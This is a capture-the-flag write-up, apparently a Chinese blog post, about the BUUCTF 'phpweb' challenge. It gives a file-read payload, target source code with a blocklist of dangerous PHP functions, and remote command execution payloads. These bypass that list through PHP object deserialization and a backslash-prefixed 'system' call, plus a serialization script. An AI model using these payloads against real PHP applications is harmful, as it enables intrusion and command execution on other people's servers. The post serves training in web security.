BUUCTF WEB phpweb1

打开场景,我惊了,我是你哥哥!!!!!!
好吧,直观的感受。这个页面一直在刷新,搞不好是什么js脚本,看看源码,发现了两个hidden参数
而搜索了页面上warning后,很确定前端请求了后端的date函数,所以页面一直在更新,而且格式有错误
既然我们可以在前端调用后端函数,那么为什么不试试其他函数呢
直接尝试eval,发现有过滤
行吧,试试其他的file_get_contents,没被过滤
于是第一payload:
func=file_get_contents&p=index.php
得到了index.php的源码

   <?php
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    function gettime($func, $p) {
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

    if ($func != null) {
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }
    ?>

这就很明显了,利用点在call_user_func这里,所要做的就是一个in_array绕过
很容易想到的:

func=unserialize&p=O:4:"Test":2:{s:1:"p";s:18:"find / -name flag*";s:4:"func";s:6:"system";}

两次gettime,第一次gettime,得到一个Test对象,这一次返回的"",由于被创建了一个Test对象,在他被销毁的时候,会再gettime一下,这次执行的就是我们system函数
于是命令就执行了
同样的道理:
func=unserialize&p=O:4:"Test":2:{s:1:"p";s:22:"cat /tmp/flagoefiu4r93";s:4:"func";s:6:"system";},去拿flag
当然这题有第二解,一次gettime即可
call_user_func函数对\不敏感,所以可以构造

func=\system&p=find / -name flag*
func=\system&p=cat /tmp/flagoefiu4r93

序列化的脚本:

<?php
class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
}
$t=new Test;
$t->p="find / -name flag*";
$t->func="system";
$b=serialize($t);
echo $b;
?>

参考视频连接:https://www.bilibili.com/video/BV123411s7Cr/

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值